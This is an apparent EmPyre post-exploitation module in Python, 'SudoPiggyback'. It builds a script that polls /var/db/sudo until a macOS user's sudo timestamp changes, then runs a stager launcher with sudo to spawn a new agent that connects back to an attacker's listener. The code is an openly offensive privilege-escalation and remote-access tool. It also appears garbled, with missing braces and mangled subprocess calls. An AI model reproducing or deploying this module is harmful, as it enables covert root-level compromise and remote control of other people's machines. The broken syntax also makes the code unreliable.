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from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime = {
# name for the module that will appear in module menus
'Name': 'SudoPiggyback',
# list of one or more authors for the module
'Author': ['@n00py'],
# more verbose multi-line description of the module
'Description': ('Spawns a new EmPyre agent using an existing sudo session. This works up until El Capitan.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language': 'python',
# the minimum language version needed
'MinLanguageVersion': '2.6',
# list of any references/other comments
'Comments': ['Inspired by OS X Incident Response by Jason Bradley']
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
'SafeChecks': {
'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required': True,
'Value': 'True'
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
safeChecks = self.options['SafeChecks']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
launcher = launcher.replace("'", "\\'")
launcher = launcher.replace('echo', '')
parts = launcher.split("|")
launcher = "sudo python -c %s" % (parts[0])
script = """
import os
import time
import subprocess
sudoDir = "/var/db/sudo"['sudo -K'], shell=True)
oldTime = time.ctime(os.path.getmtime(sudoDir))
while exitLoop is False:
newTime = time.ctime(os.path.getmtime(sudoDir))
if oldTime != newTime:
try:['%s'], shell=True)
exitLoop = True
""" % (launcher)
return script
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